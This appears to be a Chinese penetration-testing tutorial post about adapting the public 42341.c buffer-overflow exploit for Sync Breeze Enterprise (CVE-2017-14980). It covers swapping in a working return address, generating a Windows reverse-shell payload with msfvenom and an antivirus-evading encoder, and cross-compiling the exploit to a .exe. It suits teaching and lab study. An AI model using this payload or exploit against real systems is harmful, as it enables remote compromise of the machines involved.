**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶信息收集 ➢ 修改漏洞利用脚本 ➢ 分析漏洞利用脚本(.c)🔥🔥🔥
▶ 漏洞检测
▶ 初始立足点
▶ 权限提升
▶ 横向移动
▶ 报告/分析
▶ 教训/修复
目录
[1.1 分析并修改漏洞利用脚本](#1.1 分析并修改漏洞利用脚本)
[1.1.4 分析并修改C语言漏洞利用代码 (42341.c)](#1.1.4 分析并修改C语言漏洞利用代码 (42341.c))
[1.1.4.3 返回地址替换](#1.1.4.3 返回地址替换)
[1.1.4.4 自定义创建有效的Shellcode](#1.1.4.4 自定义创建有效的Shellcode)
[1.1.4.5 修改42341.c漏洞利用代码](#1.1.4.5 修改42341.c漏洞利用代码)
[1.1.5 编译修改后的42341.c漏洞利用代码](#1.1.5 编译修改后的42341.c漏洞利用代码)
[1.1.5.1 安装交叉编译器](#1.1.5.1 安装交叉编译器)
[1.1.5.2 把.c文件编译为.exe可执行文件(出错)](#1.1.5.2 把.c文件编译为.exe可执行文件(出错))
[1.1.5.3 把.c文件编译为.exe可执行文件(成功)](#1.1.5.3 把.c文件编译为.exe可执行文件(成功))
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.修改缓冲区溢出利用脚本实战
本例以Sync Breeze Enterprise**(这是一个文件管理同步软件)** 为目标,对其漏洞利用分析与修改,并最终利用,漏洞编号:CVE-2017-14980
1.1 分析并修改漏洞利用脚本
我们在kali中查找 Sync Breeze Enterprise 10.0.28 有关的漏洞利用脚本,然后聚焦于两个可用漏洞之一,这将为我们提供适用于目标环境的漏洞利用代码,并展示后续的修改过程。
1.1.4 分析并修改C语言漏洞利用代码 (42341.c)
接前文,继续对42341.c进行修改。本文主要修改的是返回地址,并自定义shellcode。
1.1.4.3 返回地址替换
-
核心问题 :42341.c 代码使用的返回地址指向
msvbvm60.dll,但目标系统未加载此模块,因此 需要在目标系统上重新寻找有效跳转地址(返回地址)。 -
从目标程序加载的++DLL++ 中查找JMP ESP 等指令地址。这相当于现场测量锁芯,重新设计钥匙齿形
1.再次验证msvbvm60.dll不存在
-
启动目标服务:在Windows 10客户端上运行 Sync Breeze 服务
-
附加调试器 :以管理员身份启动 Immunity Debugger (逆行分析工具),点击文件 >附加,附加到
syncbrs进程。 -
检查加载模块 :一旦附加,我们将点击"视图"菜单,然后选择"可执行模块"。从那里,通过检查名称和路径值来验证
msvbvm60.dll确实缺失。
关键发现 :目标环境与漏洞利用的预设环境不匹配,必须调整。

2.寻找可用的替代返回地址
高效策略:这让我们回想到上一节谈及的42928.py中的漏洞利用。
-
该 Python 漏洞利用已被标记为有效(EDB验证)
-
其中包含的返回地址
\x83\x0c\x09\x10已在实际攻击中被证明可用 -
因此,拿着这个返回地址替换当下的msvbvm60.dll的返回地址

替换后如下:

3.如果没有可用的返回地址怎么办?
当没有现成可用的返回地址时,有以下三种策略可选:
① 本地重建环境调试(最推荐)
做法 :在可控环境完整复现目标系统(相同OS版本、软件版本、补丁级别),然后使用调试工具(如gdb、OllyDbg等)来运行程序并找到适合的返回地址。
通过调试器,可以查看内存布局,找到函数调用时的返回地址,然后通过它来执行你的攻击。
| 优点 | 缺点 |
|---|---|
| 准确可靠,针对性强 | 耗时耗资源,需要调试技能 |
| 可绕过ASLR等保护机制 | 搭建环境可能复杂 |
| 能精细调整适应特定情况 |
比喻 :像法医现场重建------完全还原犯罪现场,逐项排查线索。
② 借鉴公开漏洞信息(本案例采用)
做法:搜索已验证的同软件版本漏洞利用,直接提取其中的返回地址。
| 优点 | 缺点 |
|---|---|
| 快速高效,省时省力 | 可能因系统差异失效 |
| 地址已通过实际验证 | 无法应对ASLR等缓解措施 |
| 适合应急或初步测试 |
比喻 :像使用现成配方------别人已验证有效的药方,直接拿来用。
③ 从目标机器直接提取
做法:在已获得目标机器访问权限后,提取关键DLL/EXE文件进行静态分析,寻找跳转指令。
| 优点 | 缺点 |
|---|---|
| 高度精准,完全匹配目标 | 需要先期访问权限 |
| 可分析目标实际保护状态 | 需反汇编分析技能 |
| 能定位非ASLR模块 | 可能引起目标警觉 |
比喻 :像现场取证------直接从目标身上获取关键证据。
⚠️ 关键挑战:ASLR(地址空间布局随机化)
| 策略 | ASLR应对方案 |
|---|---|
| 本地调试 | 寻找非ASLR模块中的固定地址 |
| 公开信息 | 依赖他人已找到的非ASLR地址 |
| 目标提取 | 直接分析目标文件的ASLR状态 |
核心原则 :优先使用未启用ASLR的模块(如部分第三方DLL、应用程序主模块)中的地址,确保地址稳定性。
1.1.4.4 自定义创建有效的Shellcode
1.分析现有shellcode
在继续分析这个C语言漏洞利用代码时,会注意到shellcode变量似乎保存了payload。由于它以十六进制字节 的形式存储,无法轻易确定其实际用途。代码给出的唯一备注是shellcode变量中在payload之前添加了NOP滑动。如下:

当分析现有漏洞利用代码时,常会遇到无法直接识别用途的Shellcode 。为确保攻击成功,需要自主生成定制化Payload(Shellcode)。
2.使用MSFVenom生成反向Shell
**msfvenom:**这是Metasploit中用来生成payload的工具。
bash
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 \
EXITFUNC=thread -f c -e x86/shikata_ga_nai \
-b "\x00\x0a\x0d\x25\x26\x2b\x3d"
参数解析表:
| 参数 | 含义 | 作用 |
|---|---|---|
-p windows/shell_reverse_tcp |
Payload类型:Windows反向TCP Shell | 在目标机上建立到攻击者的反向连接 |
LHOST=192.168.50.4 |
监听主机:攻击者IP地址 | 指定Shell回连的目标 |
LPORT=443 |
监听端口:443(HTTPS端口) | 使用常见端口规避防火墙检测 |
EXITFUNC=thread |
退出方式 : 在payload执行结束后,将使用线程退出 | 稳定退出,避免程序崩溃 |
-f c |
输出格式:C语言数组格式 | 便于嵌入C漏洞利用代码 |
-e x86/shikata_ga_nai |
编码器:指定使用Shikata Ga Nai编码器。这是x86平台使用的编码器 | 多态编码,用于混淆生成的payload,使其更难以被防病毒软件检测到 |
-b "\x00\x0a\x0d..." |
**坏字符列表,**指定了禁止的字节 | 过滤特定字节,生成的payload会避免包含这些字节,防止Payload被破坏 |
🛡️ 编码器的作用:Shikata Ga Nai
多态变形 :每次生成不同字节序列,相同Payload不同"面貌"
规避检测:绕过基于特征码的杀毒软件
坏字符规避:自动避免包含指定坏字符
比喻: 如同给Payload穿上**"变形迷彩服"**:
每次生成时随机变换外观(躲避特征检测)
但核心功能保持不变(仍然是反向Shell)
自动避开危险区域(过滤坏字符)
坏字符的危害:
| 字符 | 十六进制 | 危害原因 |
|---|---|---|
| 空字节 | \x00 |
C字符串终止符,会截断Payload |
| 换行符 | \x0a |
HTTP/协议分隔符,破坏数据传输 |
| 回车符 | \x0d |
同上,影响协议完整性 |
| 百分号 | \x25 |
URL编码字符,可能被误解析 |
| 和符号 | \x26 |
HTTP参数分隔符(&) |
| 加号 | \x2b |
URL中空格编码(+) |
| 等号 | \x3d |
HTTP参数赋值符(=) |
实际影响:
想象在水流管道 中传递Payload:坏字符就像是管道中的障碍物------空字节会直接"切断水流",特殊字符会"改变水流方向",导致Payload无法完整到达目标执行点。

1.1.4.5 修改42341.c漏洞利用代码
根据上述的所有,将这些替换到42341.c中。完成上述更改后,以下红色字体部分是修改的套接字信息、返回地址指令和payload。如下所示:



1.1.5 编译修改后的42341.c漏洞利用代码
🔧 为什么需要交叉编译?
场景限制 :渗透测试中,通常使用Kali Linux作为攻击平台 ,但目标系统往往是Windows环境。
核心需求 :将C语言漏洞利用代码编译为Windows可执行文件(.exe),以便在目标系统直接运行。
解决方案 :可以尝试在Windows上编译该程序,也可以在kali上使用 mingw-w64 交叉编译器,在Linux环境下生成Windows程序。
1.1.5.1 安装交叉编译器
bash
# Kali Linux中安装mingw-w64
sudo apt update
sudo apt install mingw-w64
编译器组件:
i686-w64-mingw32-gcc:32位Windows程序编译器
x86_64-w64-mingw32-gcc:64位Windows程序编译器
1.1.5.2 把.c文件编译为.exe可执行文件(出错)
安装后,可以在本地kali中使用mingw-w64交叉编译器把.c文件编译为Windows Portable Executable (PE)文件(.exe文件)。
bash
# 将C代码编译为32位Windows可执行文件
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
| 参数 | 作用 |
|---|---|
42341.c |
要编译的漏洞利用源代码文件 |
-o syncbreeze_exploit.exe |
指定输出文件名(.exe扩展名) |
i686-w64-mingw32-gcc |
交叉编译器命令 |
编译出错了:

可能遇到的问题:
尽管命令简单,但实际编译常遇到错误:
-
缺少Windows库函数:C代码调用Windows API,需包含正确头文件
-
链接错误 :需要指定额外的库文件(如
-lws2_32用于网络功能) -
语法不兼容:Linux与Windows的C语言实现略有差异
典型错误示例:(上图所示)
bash
undefined reference to `__imp_WSAStartup'
undefined reference to `__imp_htons'
对于与"WSAStartup"相关的第一个错误进行简单的搜索发现,这是在winsock.h中的一个函数。进一步的研究表明,当链接器找不到winsock库时会出现这些错误。
1.1.5.3 把.c文件编译为.exe可执行文件(成功)
解决方案: 添加必要的链接库:(添加-lws2_32选项)
bash
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
-lws2_32是一个编译选项,告诉编译器在Windows环境下链接ws2_32.lib库,该库提供了Windows的套接字支持(即Windows Socket API,也叫WinSock)。这个库包含了与网络通信相关的函数,允许程序通过TCP/IP或其他协议进行网络操作。
现在没有产生任何编译错误,生成.exe文件。接下来对.exe文件进行测试。

📝 编译流程总结
bash
[Kali Linux环境]
↓ [安装交叉编译器]
[漏洞利用C代码] → [编译器分析] → [链接Windows库] → [生成.exe文件]
↓
[可在Windows直接运行的可执行文件]
由于篇幅有限,修改后的漏洞利用是否成功,下一篇文章进行测试。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。
